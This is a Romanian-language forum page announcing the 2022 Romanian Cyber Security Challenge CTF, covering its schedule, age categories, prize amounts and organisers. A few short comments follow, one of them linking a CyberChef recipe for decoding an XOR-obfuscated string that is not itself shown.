Mai aveți la dispoziție exact două săptămâni pentru a vă înscrie la Campionatul Național de Securitate Cibernetică - #RoCSC22

Insider threat e cam ignorat in general, "noroc" cu astfel de exemple.

In 2022 va avea loc a treia ediție a Romanian Cyber Security Challenge - RoCSC, un eveniment anual de tip CTF ce urmărește să descopere tinere talente în domeniul securității cibernetice. La competiție pot participa tineri dornici să își demonstreze abilitățile, ce se pot înscrie online până în ziua concursului. Participanții se vor întrece pe 3 categorii de concurs: Juniori (16-20 de ani), Seniori (21-25 de ani) și Open (disponibil indiferent de vârstă). Participarea este gratuită. Tinerii vor trebui să-și demonstreze abilitățile în domenii precum mobile & web security, crypto, reverse engineering și forensics. Primii clasați la RoCSC22 vor avea oportunitatea de a reprezenta România la Campionatul European de Securitate Cibernetică - ECSC22. Calendarul ROCSC22: Etapa de calificare: 22.07 ora 16:00 - 23.07 ora 22:00 Finala ROCSC22: 06.08 Bootcamp pentru selectia echipei pentru competitia ECSC22: 17.08 - 21.08 Premii: Categoria Juniori: Locul I: 2000 euro Locul II: 1000 euro Locul III: 500 euro Locurile 4-10: premii speciale Categoria Seniori: Locul I: 2000 euro Locul II: 1000 euro Locul III: 500 euro Locurile 4-10: premii speciale Pentru a fi eligibili pentru premii, jucătorii trebuie să trimită prezentarea soluțiilor la contact@cyberedu.ro. Jucătorii care participă la categoria Open vor primi doar puncte pe platforma CyberEDU și nu sunt eligibili pentru premii. Competiția este organizată de Centrul Național Cyberint din cadrul Serviciului Român de Informații, Directoratul National de Securitate Cibernetica și Asociația Națională pentru Securitatea Sistemelor Informatice - ANSSI, alături de partenerii Orange România, Bit Sentinel, CertSIGN, Cisco, UIPath, KPMG, Clico, PaloAlto Networks. Programul ROCSC 2022 Inscrierile se fac pana la data de 22 Iulie 2022: Etapa de calificare: 22.07 ora 16:00 - 23.07 ora 22:00 Finala ROCSC22: 06.08 Bootcamp pentru selectia echipei pentru competitia ECSC22: 17.08 - 21.08 Pentru înscriere, apăsați aici. https://www.rocsc.ro/

Frumos!

Da, e XOR cu cheia de acolo de jos. Il poti pune aici: https://gchq.github.io/CyberChef/#recipe=From_Decimal('Comma',false)XOR({'option':'Latin1','string':'euzF8}gfab'},'Standard',false) Doar ca mai e ulterior obfuscat.